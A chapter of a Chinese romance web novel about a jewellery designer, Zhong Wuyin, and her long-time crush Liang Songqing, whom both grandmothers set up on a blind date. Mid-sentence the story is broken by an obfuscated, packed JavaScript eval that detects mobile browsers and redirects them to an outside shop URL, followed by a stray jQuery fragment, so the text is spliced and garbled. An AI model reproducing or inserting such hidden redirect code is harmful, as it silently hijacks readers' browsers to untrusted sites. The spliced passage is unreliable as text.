梁颂清也一直在看她,清瘦的身体撑起一条雾粉色纱裙,夏风一吹,裙角像一枝倒扣的的海棠浮动着娇柔的花瓣。
那双灵动的眼睛衬得她整张脸都玲珑,长睫在夏风里轻轻扇动,日光落在上面,她朝他微一眨眼,似蝴蝶扑簌。
树上的人也像是望着他在发呆,突然她的身形却动了动,在梁颂清眼前晃了晃,这才让他回过神来,意识到自己一直盯着人家看的失态。
门口的男人俯身,把手里拎着的一只海鲜礼盒放在了地上,然后快步走过来替钟雾茵扶好梯子。
男人的手骨骼明晰,用力时青筋都迭起。
梁颂清目光追随着她,直到她安稳的落地。
钟雾茵稳稳落地,对他说了一声“谢谢。”
此时他和钟雾茵之间有一只猫咪。
这只猫咪有一双宝石蓝的圆圆的眼睛,毛是银灰相间的,蓬松如棉花,它看见生人,并没有立马跑开,而是朝梁颂清靠近。
闻了闻梁颂清身上的味道,才绕着他的一条裤腿转了几圈,然后一甩尾巴,在他的西裤上“啪——”的拍了一下,隔着西裤薄薄的布料,打在他的脚踝处。
然后猫咪蹲在了他的脚边,伸长脖子,仰头看梁颂清,似乎很喜欢他。
梁颂清蹲下身,伸手想去揉小猫的脑袋,小猫却歪着脑袋,主动用毛茸茸的头去拱他的手心。
“原来是一只西森。”梁颂清一边揉着小猫的脑袋一边说到。
向来冷淡的人,抚摸小猫的时候,扬起的眼尾和唇角也会牵扯出一丝温柔。
他蹲在地上,抬头看向钟雾茵,“它叫什么名字?”
“米糕。”
准确的来说,米糕是一只涅瓦色的西伯利亚森林猫。
是钟雾茵回国以后,住所稳定下来了,联系了一个俄罗斯的breeder买的,从俄罗斯花了四位数的运费空运过来的。
“它竟然不怕生。”向来清冷的一个人,语气里也会有欣喜。
“嗯,它自从跟我生活以后,就在这桂疏巷里,时常在巷子里溜达,见惯了来来往往的行人,周围的邻居都知道它是我的小猫,大家看见它都会停下来摸摸它,所以它不怕生。”
钟雾茵一边解释,一边低头看着蹲在地上的一人一猫。
她只能看到梁颂清乌密的头发,冷白挺翘的鼻尖,还有他撸着猫时骨节分明的手指,温润修长,手指一起一伏,手背上的青筋时隐时现,连带着手臂上的肌肉,都跟着在西装下绷紧鼓胀。
她并不是手控,但是总觉得梁颂清连手都好看……这个人她哪哪都喜欢。
他低头逗着米糕玩了几分钟,米糕不知道看到了什么,叫了一声“喵——”,然后跑到院子里玩去了。
梁颂清这才想起自己来这里的正事,他起身往院子门口走了几步,从门口提来了海鲜礼盒,递给钟雾茵,说话也言简意赅,“钟小姐,这是叶老板托我带给你的,我顺路就一起送过来了。”
钟雾茵双手接过,笑着说,“谢谢。”
他们并不算熟,也没有什么话题再可聊的,在两个人变得局促尴尬之前,梁颂清语气淡然,先说到,“钟小姐,东西我送到了,我就先走了。”
钟雾茵说好,再一次对他说,“麻烦你了,梁先生。”
他表示不用客气,提着另一只海鲜礼盒已经转过身,准备走了。
她站在原地,踌躇着,还是小声喊到,“梁先生,等等——”
梁颂清听见身后有人在叫他,在原地站定,回过头。
她疾步走过去,“梁先生,今天麻烦你专门来一趟帮我送东西,要不留下来喝杯茶吧。”
梁颂清眼里还是那种万事不过心的笑意,拒绝得云淡风轻,“顺路的事而已,钟小姐不必挂心,我先走了。”
她站在月洞门处,看着那道身影渐行渐远,到了拐角处便消失不见了。
她知道这是叶憬给她创造的机会,但是匆匆一个照面以后,她思衬着,也没有要留梁颂清的任何理由。
她突然觉得有些对不起小憬。
这一次,他们是真的不会再见了吧?
暗恋者早已在年岁渐长中,数次无望中,练就了一身快速释然的本事。
现在是傍晚,天气好,钟雾茵没有立马进屋,而是在院子里的石桌旁坐下,给自己倒了杯茶,百无聊赖的打开了手机,她先点开了微信。
本来想给小璟发条消息,但是最底下的红点最先吸引她的目光,于是她点开了朋友圈。
原来更新朋友圈的是,她好久都没发过动态的大学室友小昭。
她们大学寝室四个人,上床下桌的排列,她们这个寝室不像别的寝室多多少少会有矛盾。
四个不同的人在一起肯定会有小摩擦,但是她们四个人都是敞亮的人,大家住一起久了,磨合好了,有什么矛盾都是用温和的语气说出来,从来不会阴阳怪气的针锋相对,都能解决。
她们来自天南海北的四个城市,所以,大学毕业的时候,在学校门口的小饭馆开了一打啤酒,都抹着泪花嚷嚷着特别舍不得舍友。
小昭晒出了她的婚纱照,照片里的新郎钟雾茵很眼熟。
他跟小昭是高中同学,高中怕影响学习,两个人相互暗恋但没表白,但都能感受到对方的好感。
高考考完最后一科,那个男生出了校门,就在茫茫人海中找到小昭,手里拿着的笔袋还放着准考证,男生就跟小昭告了白。
可是,高考志愿不止一个,两个人最后却没能录到一个学校,也没能在一个城市。
但是他们都没放弃这段感情,大学异地了四年,男生每个月都会坐高铁来她们大学所在的南城找小昭,当然小昭也会去他的城市找他。
那个时候,她每次去男生的城市找他之前,都会在寝室里试各种衣服,一定要穿得最漂亮去见自己喜欢的人,另一个擅长化妆的室友还会精心的给她化个妆。
那时流行攒票根,小昭都会好好保存他们相见的每一张票。
以上这些话,都是在某次熄灯以后的女寝夜聊,小昭自己说的。
她说,她有一个爱了很久的男生,成了她的男朋友。
那次夜聊,寝室四个姐妹都聊了自己的感情,钟雾茵的感情就是一张白纸,但她也提到了梁颂清。
……
还好,四年异地虽苦,但现在两个人终于修成正果。
钟雾茵一边回忆,眼睛也变得润润的,给她点了个赞,再在评论里恭喜她,最后打开了和小昭的聊天框,给她送了一大波真诚的恭喜和祝福,再转了个大红包。
我的朋友,哪怕我清楚,往后的人生,我们可能再也不见,也可能见面的次数一只手都数得过来,但是知道你过得好,知道你得到了自己想要的幸福,我也会因为你的幸福而落泪。
小昭几乎是秒回她,说谢谢茵茵,我给你寄份喜糖吧,再寄一份伴手礼,也祝你早日跟你喜欢的高中学长修成正果。
钟雾茵很感动,也有些迷茫,好朋友已经得到了幸福,也不知道命运将她的红线系在了时光的哪一截?
她什么时候才能遇到那个人?
可是,那个人不会是梁颂清的。
她来不及感性太久,手机屏幕突然跳出来一通来电,上面显示着“外婆”两个字。
她整理了一下情绪,接起了电话。
“茵茵,晚饭吃了吗?”
“还没,马上就做。外婆您找我有什么事?”
又问到,“您最近身体还好吗?”
“我挺好的,听你舅妈说你去相亲了,那小伙子怎么样?”
“别提了,我跟他不合适。”外婆一说,她又想起来那天在餐厅里的场景,只觉得阵阵恶心泛上来,强调到,“非常的不合适,我们连联系方式都删了。”
“不合适就算了,正好,外婆给你物色了一个很不错的小伙子。”
钟雾茵叹了口气,有些无奈,“外婆,舅妈给我介绍的相亲对象一点都不尊重人,我暂时不想再去相亲了,我可不想再遇到奇葩。”
电话那头外婆有些急了,提高了音量,那些苍老的音调让钟雾茵听了个清楚,“你知道的,外婆年纪大了,八十多的人又能再活几天呢?我只想走之前看着你成家。”
“这小伙子真的很不错,你相信外婆,是我精挑细选,亲自把关之后才告诉你的。”
“他的奶奶是外婆的老同学,读书的时候和外婆关系最好,就像你跟小叶那么要好的朋友,时隔多年,最近又联系上了,她孙子比你长两岁,你俩年龄也合适,他是做……”
外婆欲要展开介绍,钟雾茵实在不想细听又一个相亲男的条件,她是真的不感兴趣,上次那个差点给她留下了心理阴影。
她只能打趣着岔开话题,“外婆,您要是想看到我结婚成家,那就保重好身体,再多活几年吧。”
钟雾茵的声音是明朗的,但是心里还是暗自滋长出担心,毕竟外婆已经到了这个年纪,虽然身体没有什么大的疾病,但是也是肉眼可见的,一年一年的明显衰老下去。
“茵茵,你听外婆说,他真的很不错,长相俊美,个子还高,他奶奶给我看了照片的,家里条件也好,没有不良嗜好,自己工作也很上进。”
外婆有些骄傲的说,“对了,外婆也和他奶奶说了你的基本情况,给看了你的照片,他奶奶也很喜欢你呢。”
“哦,那他叫什么名字啊?”钟雾茵的手指无聊地摩挲着手机壳上凹凸不平的花纹,心不在焉的回到,敷衍劲儿都在语气里了。
“梁颂清。”
三个字化为缠绵不断的丝线勒紧了心脏,心脏一瞬收缩,连同呼吸和瞳孔都震颤,电话这头,钟雾茵手机差点滑落在地,不可置信的再次问出声,声音紧张到有些发抖,“外婆……您说他叫什么名字?”
在问出这句话的时候,她虽然缓缓阖上了眼睛,但是轻颤的眼睫,分明有无言的情绪流
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17837079|211481||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
淌而过。
一霎时头脑全部变得空白,几秒钟后又恢复清明,像是处于混沌中大梦初醒一般,钟雾茵一个没站稳,往后踉跄了一步,一只手掌死命按压在冰凉的石桌上才能稳住身形,桌子尖锐的角硌得掌心生疼。
也让她更为清醒。
柔软的草坪消弭掉那点磕绊的脚步声,听筒里的电流也过滤掉她声音里的哽咽,外婆没听出什么异常。
外婆以为她的老年机信号不好,又重复了一遍,“姓梁,叫梁颂清。”
“好,我去跟他见面。”
学长怎么会跟她相亲?
他们并不是一个圈子的人,她既不是名门千金,也不是大家闺秀,她和她的家庭并不适合梁颂清,对他的事业,对的他公司不会有任何助力,怎么想,梁奶奶都不应该想要介绍他们认识啊!
还是说,只是一个和他名字发音一样的人?
可是这个名字并不常见,在同一个城市,同样发音的名字……真有这么巧合的事?
不管他是不是她想的那个梁颂清,她都得去看看。
-
梁颂清在接到奶奶打来的电话的时候,正坐在迈巴赫的后座翻阅平板,阅览最新的季度考核方案,他温淡的垂着眸子,仔细的审阅个中欠缺,司机载着他往荔月集一路疾驰,今晚是受邀参加合作方客户的饭局。
荔月集是本市有名的预约制餐厅,主营江南一带的菜色,古色古香的装横,翠竹映画屏,曲水环亭榭,连门口挂的匾额和各个雅间的门牌,也是带着厚重感的红花梨木雕金,居于闹市的一条小道尽头,位置隐蔽,环境清幽。
车内没有人说话,气压有些低,此时一通电话打了进来,划破了这份静谧。
梁颂清偏过头一看,是随意搁置在身旁座位上的私人手机响了,来电显示“奶奶”。
他熄灭了手中的平板,接起了电话。
梁颂清打电话的时候一般会认真倾听对方讲话,不会三心二意。
司机从中央后视镜瞟过,昏暗的后座上,唯一的光源暗淡下去,只能看见男人穿着一丝不苟的西装,规整的领带衬衫之上,是一张浓深阔影的脸,亮着的手机屏幕从一侧打光,照亮了男人冷淡硬朗的侧颜。
“颂清啊,最近忙吗?”
“还好。”
“既然不太忙,你抽时间去见个人。”
老太太自动给他划为不太忙的范畴了,梁颂清当然知道老太太葫芦里卖的什么药,被她催婚也不是一次两次了,给他介绍的相亲对象都不止一打。
他转头看向窗外,今天下午已经有了黑云压城之势,此时天空终有大雨倾盆而下,雨水从车窗滑落,流下蜿蜒的水迹,将窗外的车灯红海和行道树洇成浓墨重彩的油画。
“不去。”
老太太就猜到他会这么说,敲打他,“成家立业,成家立业,你的事业倒是从来不曾让长辈操心过,以后梁家交给你,我们也很放心,但是你都27了,这成家也该考虑考虑了,你看看男人过了三十,还有没有姑娘肯要你?”
虽然这次相亲他也是不会去的,但是不打断他人的话,是他该有的教养,何况对方是长辈,所以他耐着性子听奶奶说完。
“这姑娘很符合你的要求,是奶奶老同学的外孙女,我那个老同学和我关系甚好,她年轻的时候人品正直善良,性格开朗,她教育出来外孙女不会差的。”
“嗯。”他兴致索然的听着,一只手掌着电话,另一只手搭在黑色的西裤上,指尖轻点着,时不时附和一声表示自己在听。
“她母亲是国际知名的珠宝设计师,曾经担任某奢牌的设计总监,早些年定居在北美了。她父亲……”
老太太突然提高了音量,似有鄙夷的情绪,“不提也罢,总之那闺女是个极好的闺女。”
然后,梁颂清为了敷衍老太太,例行公事的随口问了几句,“那她是在北美长大的?”
“不是,这孩子就在江城长大的。”
为了配合老太太,他又问,“她是做什么工作的?”
“珠宝设计师。”老太太又添油加醋的夸赞了一番,“这孩子很有能力,并且遗传了她母亲的天赋,自己在江城开了一家工作室,年纪轻轻已经在国内外小有名气了,长得也很漂亮呢,连身高也和你很搭……”
电话里的声音断断续续的传来,敏锐的捕捉到刚开始那五个字后,他承认他走神了。
虽然珠宝设计师有很多,虽然仅有寥寥数面之缘,但是他的大脑中还是一闪而过那张脸。
工作室里,会所里,庭院中,一帧一帧,冷白光源下,灯红酒绿中,还有夏日秾艳的晚霞下,素净柔和的一张脸,一双剪水秋瞳,温柔安静而含着一点怯,待他细看,分明有明媚又倔强的底色。
梁颂清鬼使神差的接话,“她叫什么名字?”
老太太没想到这次给梁颂清安排相亲对象,居然发展到他主动问名字这一步了。
“钟雾茵。”